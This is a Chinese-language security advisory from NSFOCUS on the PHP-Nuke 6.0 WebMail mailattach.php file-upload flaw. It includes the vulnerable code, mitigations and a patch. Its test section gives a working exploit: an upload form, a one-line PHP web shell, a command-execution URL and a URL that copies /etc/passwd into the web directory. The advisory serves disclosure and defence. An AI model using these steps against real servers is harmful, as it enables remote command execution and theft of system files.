首页 -> 安全研究

安全研究

安全漏洞
PHP-Nuke mailattach.php文件上传漏洞

发布日期:2003-01-16
更新日期:2003-01-16

受影响系统:
Francisco Burzi PHP-Nuke 6.0
不受影响系统:
Francisco Burzi PHP-Nuke 5.5
描述:
PHP-Nuke是一个广为流行的网站创建和管理工具,它可以使用很多数据库软件作为后端,比如MySQL、PostgreSQL、mSQL、Interbase、Sybase等。

PHP-Nuke 6.0 WebMail模块的mailattach.php文件上传存在漏洞,未授权的远程攻击者可以用WEB进程权限在系统上执行任意命令。

mailattach.php的上传文件代码:

----------------------8<------------------------------
if (isset($userfile) AND $userfile != "none") {
    if (ini_get(file_uploads) AND $attachments == 1) {
        $updir = "tmp";
        @copy($userfile, "$updir/$userfile_name");
----------------------8<------------------------------

mailattach.php没有检查上传文件的扩展名,远程攻击者可以上传包含恶意代码的文件,以WEB进程权限在系统上执行任意命令。

PHP-Nuke 5.5由于没有WebMail模块,所以不存在这个漏洞。

<*来源:Karol Wi&#281;sek (appelast@bsquad.sm.pl
  
  链接:http://lists.netsys.com/pipermail/full-disclosure/2003-January/003583.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

NSFOCUS提供了如下测试方法:

在本地用浏览器打开如下html:

<html>
<title>: Attach Files</title>
<body text="#63627f">
<form action="http://phpnuke.org/modules/WebMail/mailattach.php?attachments=1" method="post" ENCTYPE="multipart/form-data" name="attchform">
<center>
<b>Attach Files</b><br><br>
File: <input type="file" name="userfile">&nbsp;&nbsp;<input type="submit" value="Attach File">
</center>
</form>
</body>
</html>

然后选择上传如下cmd.php程序:

<pre><?passthru($cmd)?></pre>

然后就可以用如下的URL执行任意命令:

http://phpnuke.org/modules/WebMail/tmp/cmd.php?cmd=id;uname -a

另外一种拷贝系统文件到web目录方法:

http://phpnuke.org/modules/WebMail/mailattach.php?userfile=/etc/passwd&userfile_name=test.txt&attachments=1

然后访问如下链接就可以得到系统的口令文件,同样也可以获得php文件的源码:

http://phpnuke.org/modules/WebMail/tmp/test.txt

建议:
临时解决方法:

如果您不能立刻安装补丁或者升级,NSFOCUS建议您采取以下措施以降低威胁:

* 由于web目录modules下的文件都是通过modules.php程序调用的,所以可以禁止web用户直接访问,可以修改Apache配置文件,加上如下限制(假设/web/phpnuke是安装的绝对路径):

<Directory "/web/phpnuke/html/modules">
    Deny from all
</Directory>

* mailattach.php程序补丁,适合PHP 4.1.0以上版本:

diff mailattach.php mailattach_fix.php
23,27c23,32
< if (isset($userfile) AND $userfile != "none") {
<     if (ini_get(file_uploads) AND $attachments == 1) {
<       $updir = "tmp";
<       @copy($userfile, "$updir/$userfile_name");
<       @unlink($userfile);
---
> if (isset($_FILES['userfile']['tmp_name']) AND $_FILES['userfile']['tmp_name'] != "none") {
>     $_FILES['userfile']['name'] = trim($_FILES['userfile']['name']);
>
>     if (preg_match("/\.php$/",$_FILES['userfile']['name'])) {
>         echo "PHP file cann't upload!";
>         exit;
>     }
>     if (ini_get(file_uploads) AND $_REQUEST['attachments'] == 1) {
>       $updir = "tmp/";

厂商补丁:

Francisco Burzi
---------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpnuke.org

浏览次数:4017
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障